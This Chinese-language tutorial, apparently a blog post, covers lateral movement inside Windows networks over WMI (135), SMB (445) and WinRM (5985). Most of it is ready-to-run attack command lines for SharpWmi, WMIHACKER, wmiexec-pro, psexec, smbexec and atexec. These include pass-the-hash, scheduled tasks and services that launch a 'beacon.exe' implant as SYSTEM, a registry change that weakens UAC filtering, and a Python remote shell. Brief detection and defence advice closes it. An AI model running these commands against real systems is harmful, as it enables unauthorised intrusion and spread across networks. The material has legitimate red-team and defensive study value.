内网横向下的135,445与5985端口利用
字数 1808 2025-08-23 18:31:18

内网横向移动中的135、445与5985端口利用技术详解

1. LocalAccountTokenFilterPolicy机制

1.1 基本概念

  • 在工作组环境下,Windows Vista及以后系统中,注册表默认不存在LocalAccountTokenFilterPolicy
  • 影响:administrator账户远程连接时获得完整管理员令牌,而其他管理员账户连接时获得删除管理员权限的令牌
  • 域环境不受此限制,域管理员都可建立管理员权限连接

1.2 注册表操作

# 查询该值
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy

# 添加该值(1表示启用)
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

# 删除该值
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /f

2. 135端口利用技术

2.1 WMIC基础

  • 定义:Windows Management Instrumentation Command-line,命令行管理工具
  • 特点
    • 可管理本地和远程计算机
    • 自Windows 98开始支持
    • 默认不记录操作日志,隐蔽性优于psexec/smbexec

2.2 利用工具

2.2.1 SharpWmi

  • 下载地址https://github.com/QAX-A-Team/sharpwmi
  • 特点
    • 仅依赖135端口
    • 通过WMI执行命令,结果写入注册表后读取
    • 文件上传功能通过注册表实现
  • 限制
    • 文件大小≤512KB(注册表值长度限制)
    • 依赖PowerShell,易被杀软检测
  • 命令示例
    # 命令执行
    sharpwmi.exe 192.168.3.157 micle admin cmd whoami
    
    # 文件上传
    sharpwmi.exe 192.168.3.157 micle admin upload 1.txt "c:\1.txt"
    
  • 改进版https://github.com/idiotc4t/sharpwmi

2.2.2 WMIHACKER

  • 下载地址https://github.com/rootclay/WMIHACKER/
  • 功能
    • 命令执行(有/无回显)
    • 文件上传/下载
    • 模拟Shell模式
  • 使用示例
    # 有回显执行
    cscript WMIHACKER.vbs /cmd 192.168.3.157 micle "admin" "systeminfo" 1
    
    # 无回显执行(需文件读写)
    cscript WMIHACKER.vbs /cmd 192.168.3.157 micle "admin" "systeminfo > c:\1.txt" 0
    cscript WMIHACKER.vbs /cmd 192.168.3.157 micle "admin" "type c:\1.txt" 1
    
    # 模拟Shell
    cscript WMIHACKER.vbs /shell 192.168.3.157 micle "admin"
    
    # 文件上传
    cscript WMIHACKER.vbs /upload 192.168.3.157 micle "admin" "1.txt" "c:\hello.txt"
    

2.2.3 wmiexec-pro

  • 下载地址https://github.com/XiaoliChan/wmiexec-Pro
  • 特点
    • 仅需135端口
    • 通过自定义WMI类实现功能,不依赖注册表
    • 提供多种模块:
      • AMSI旁路
      • 文件传输
      • 远程启用RDP
      • 防火墙滥用
      • 事件日志清理
      • 远程启用WinRM
      • 服务管理
      • RID-Hijack
  • 使用示例
    # 建立Shell连接
    python3 wmiexec-pro.py micle:admin@192.168.3.157 exec-command -shell
    
    # 执行单条命令
    python3 wmiexec-pro.py micle:admin@192.168.3.157 exec-command -command "whoami"
    

3. 445端口利用技术

3.1 IPC$共享基础

  • 定义:Internet Process Connection,用于进程间通信的命名管道资源
  • 默认共享:C\(, D\), admin$等(仅管理员可远程操作)
  • 常用命令
    net use                          # 查看连接
    net session                      # 查看被连接情况
    net share                        # 查看本地共享
    net share ipc$                   # 开启IPC共享
    net share ipc$ /del              # 删除IPC共享
    dir \\192.168.3.1\c$\user        # 查看远程目录
    net time \\192.168.3.1           # 查看远程时间
    

3.2 利用方法

3.2.1 at命令(计划任务)

# 查看远程时间
net time \\192.168.3.1

# 创建计划任务
at \\192.168.3.150 15:17:30 cmd.exe /c "ipconfig >1.txt"

# 删除作业
at \\192.168.3.150 1 /delete

3.2.2 schtasks命令

# 创建计划任务
schtasks /create /s 192.168.3.157 /tn test /sc HOURLY /mo 1 /tr c:\beacon.exe /ru system /f /U micle /P admin

# 查询任务
schtasks /query /s 192.168.3.157 /U micle -P admin | findstr test

# 启动任务
schtasks /run /s 192.168.3.157 /i /tn "test" /U micle -P admin

# 删除任务
schtasks /delete /s 192.168.3.157 /tn "test" /f /U micle -P admin

3.2.3 sc命令(服务控制)

# 创建服务
sc \\192.168.3.157 create test binpath= "c:\beacon.exe"

# 查询服务
sc \\192.168.3.157 query test

# 启动服务
sc \\192.168.3.157 start test

# 删除服务
sc \\192.168.3.157 delete test

3.3 相关工具

3.3.1 atexec.py

  • 特点:利用计划任务服务执行命令
  • 使用示例
    # 明文密码连接
    atexec.py micle:admin@192.168.3.157 "whoami"
    
    # Hash连接
    atexec.py -hashes :579da618cfbfa85247acf1f800a280a4 micle@192.168.3.157 "whoami"
    

3.3.2 psexec

  • Impacket版
    • 可使用admin\(或C\)共享
    • 上传随机文件名二进制文件
  • 微软官方版
    • 仅使用admin$共享
    • 固定文件名:PSEXESVC.exe
    • 固定服务名:PSEXESVC
  • 使用示例
    # 获取system权限
    psexec.exe \\192.168.3.157 -u micle -p admin -s cmd.exe
    
    # 普通权限
    psexec.exe \\192.168.3.157 -u micle -p admin cmd.exe
    
    # 本地获取system权限
    PsExec64.exe -i -s cmd.exe
    

3.3.3 smbexec.py

  • 原理:通过文件共享创建服务,用bat文件执行命令
  • 使用示例
    # 明文密码连接
    smbexec.py micle:admin@192.168.3.157
    
    # 使用指定共享
    smbexec.py micle:admin@192.168.3.157 -share C$
    

4. 5985端口(WinRM)利用技术

4.1 WinRM基础

  • 端口:5985(HTTP)或5986(HTTPS)
  • 默认状态
    • Server 2012+自动启动
    • Vista需手动启动
  • 特点:不易察觉,不占用远程连接数

4.2 配置命令

# 强制开启WinRM
Enable-PSRemoting -force

# 快速配置(包括防火墙)
winrm quickconfig -q

# 配置HTTPS传输
winrm quickconfig -transport:https

# 设置自启动
Set-Service WinRM -StartMode Automatic

# 查看监听
winrm enumerate winrm/config/listener

# 查看配置
winrm get winrm/config

# 修改默认端口
winrm set winrm/config/client/DefaultPorts '@{HTTPS="8888"}'

# 允许非加密
winrm set winrm/config/service '@{AllowUnencrypted="true"}'

# 设置信任主机
winrm set winrm/config/Client '@{TrustedHosts="192.168.3.*"}'

4.3 利用方法

4.3.1 远程执行命令

# 执行程序
winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck '@{commandline="calc.exe"}'

4.3.2 客户端连接

# 工作组环境需先设置
Set-Item wsman:\localhost\Client\TrustedHosts -value *

# 基本连接
winrs -r:http://192.168.3.170:5985 -u:micle -p:admin cmd

4.3.3 PowerShell会话管理

# 进入会话
Enter-PSSession -computer 192.168.3.170 -Credential micle -Port 5985

# 新建会话
New-PSSession -Name test -ComputerName 192.168.3.170 -Credential micle

# 查看会话
Get-PSSession

# 进入指定会话
Enter-PSSession -id 1
Enter-PSSession -Name test

4.3.4 Python连接

import winrm

while True:
    cmd = input("$: ")
    wintest = winrm.Session('http://192.168.3.170:5985/wsman', auth=('micle','admin'))
    ret = wintest.run_cmd(cmd)
    print(ret.std_out.decode("GBK"))
    print(ret.std_err.decode())

5. 日志分析要点

5.1 135端口工具

  • 仅产生登录/注销日志
  • 特殊登录事件(给用户赋权)

5.2 445端口工具

  • psexec:系统日志中ID 7045(服务创建)
  • smbexec:命令输出文件相关服务日志

5.3 WinRM工具

  • 主要产生登录/注销日志

6. 防御建议

  1. 最小权限原则:限制管理员账户数量和使用范围
  2. 网络分段:限制135/445/5985端口的网络访问
  3. 日志监控:重点关注:
    • 7045事件(服务创建)
    • 特殊登录事件
    • WinRM配置变更
  4. 注册表防护:监控LocalAccountTokenFilterPolicy变更
  5. 共享管理:关闭不必要的共享(IPC\(, admin\)等)
  6. 服务加固
    • 限制WinRM访问IP
    • 强制使用HTTPS加密
  7. EDR部署:检测异常WMI和计划任务活动
内网横向移动中的135、445与5985端口利用技术详解 1. LocalAccountTokenFilterPolicy机制 1.1 基本概念 在工作组环境下,Windows Vista及以后系统中,注册表默认不存在 LocalAccountTokenFilterPolicy 值 影响:administrator账户远程连接时获得完整管理员令牌,而其他管理员账户连接时获得删除管理员权限的令牌 域环境不受此限制,域管理员都可建立管理员权限连接 1.2 注册表操作 2. 135端口利用技术 2.1 WMIC基础 定义 :Windows Management Instrumentation Command-line,命令行管理工具 特点 : 可管理本地和远程计算机 自Windows 98开始支持 默认不记录操作日志,隐蔽性优于psexec/smbexec 2.2 利用工具 2.2.1 SharpWmi 下载地址 : https://github.com/QAX-A-Team/sharpwmi 特点 : 仅依赖135端口 通过WMI执行命令,结果写入注册表后读取 文件上传功能通过注册表实现 限制 : 文件大小≤512KB(注册表值长度限制) 依赖PowerShell,易被杀软检测 命令示例 : 改进版 : https://github.com/idiotc4t/sharpwmi 2.2.2 WMIHACKER 下载地址 : https://github.com/rootclay/WMIHACKER/ 功能 : 命令执行(有/无回显) 文件上传/下载 模拟Shell模式 使用示例 : 2.2.3 wmiexec-pro 下载地址 : https://github.com/XiaoliChan/wmiexec-Pro 特点 : 仅需135端口 通过自定义WMI类实现功能,不依赖注册表 提供多种模块: AMSI旁路 文件传输 远程启用RDP 防火墙滥用 事件日志清理 远程启用WinRM 服务管理 RID-Hijack 使用示例 : 3. 445端口利用技术 3.1 IPC$共享基础 定义 :Internet Process Connection,用于进程间通信的命名管道资源 默认共享 :C$, D$, admin$等(仅管理员可远程操作) 常用命令 : 3.2 利用方法 3.2.1 at命令(计划任务) 3.2.2 schtasks命令 3.2.3 sc命令(服务控制) 3.3 相关工具 3.3.1 atexec.py 特点 :利用计划任务服务执行命令 使用示例 : 3.3.2 psexec Impacket版 : 可使用admin$或C$共享 上传随机文件名二进制文件 微软官方版 : 仅使用admin$共享 固定文件名:PSEXESVC.exe 固定服务名:PSEXESVC 使用示例 : 3.3.3 smbexec.py 原理 :通过文件共享创建服务,用bat文件执行命令 使用示例 : 4. 5985端口(WinRM)利用技术 4.1 WinRM基础 端口 :5985(HTTP)或5986(HTTPS) 默认状态 : Server 2012+自动启动 Vista需手动启动 特点 :不易察觉,不占用远程连接数 4.2 配置命令 4.3 利用方法 4.3.1 远程执行命令 4.3.2 客户端连接 4.3.3 PowerShell会话管理 4.3.4 Python连接 5. 日志分析要点 5.1 135端口工具 仅产生登录/注销日志 特殊登录事件(给用户赋权) 5.2 445端口工具 psexec:系统日志中ID 7045(服务创建) smbexec:命令输出文件相关服务日志 5.3 WinRM工具 主要产生登录/注销日志 6. 防御建议 最小权限原则 :限制管理员账户数量和使用范围 网络分段 :限制135/445/5985端口的网络访问 日志监控 :重点关注: 7045事件(服务创建) 特殊登录事件 WinRM配置变更 注册表防护 :监控LocalAccountTokenFilterPolicy变更 共享管理 :关闭不必要的共享(IPC$, admin$等) 服务加固 : 限制WinRM访问IP 强制使用HTTPS加密 EDR部署 :检测异常WMI和计划任务活动